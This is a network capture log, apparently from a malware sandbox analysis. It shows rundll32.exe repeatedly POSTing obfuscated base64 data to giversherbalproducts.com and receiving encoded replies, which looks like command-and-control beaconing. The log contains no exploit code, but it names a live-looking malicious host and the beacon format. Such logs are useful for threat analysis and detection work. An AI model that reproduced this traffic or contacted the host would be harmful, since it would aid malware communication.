f3p/QUVCQ0FBfn15eH96fXt7eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.3	49826	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:45.103579998 CEST	1181	OUT	POST /lBawcxb5/MSMDOB0pBQ5+OnNDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:45.578389883 CEST	1182	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:45 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.3	49828	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:45.949311972 CEST	1184	OUT	POST /lBawcxb5/PQAbfw19HyI5fiwAe38AIyccOiF8BwI+diQOQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:46.415031910 CEST	1185	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:46 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.3	49827	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:45.949856043 CEST	1184	OUT	POST /lBawcxb5/PQAbfw19HyI5fiwAe38AIyccOiF8BwI+diQOQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:46.458635092 CEST	1186	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:46 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.3	49829	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:46.927849054 CEST	1187	OUT	POST /lBawcxb5/H0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:47.530821085 CEST	1189	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:46 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.3	49830	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:46.932570934 CEST	1188	OUT	POST /lBawcxb5/H0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:47.670283079 CEST	1189	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:46 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.3	49831	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:48.005441904 CEST	1191	OUT	POST /lBawcxb5/E30FFQogECw2GiUzekV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:48.516247034 CEST	1193	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:48 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.3	49832	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:48.091449976 CEST	1191	OUT	POST /lBawcxb5/E30FFQogECw2GiUzekV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:48.577909946 CEST	1193	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:48 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.3	49833	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:48.944678068 CEST	1195	OUT	POST /lBawcxb5/PAUpKBYYDz0bHQkGMRZ/eSJCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:49.397286892 CEST	1251	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:49 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.3	49836	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:49.221645117 CEST	1211	OUT	POST /lBawcxb5/PAUpKBYYDz0bHQkGMRZ/eSJCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:49.687395096 CEST	1268	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:49 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 37 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt7dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49761	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:12.501310110 CEST	1052	OUT	POST /lBawcxb5/eDkkAA0bInx9RnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
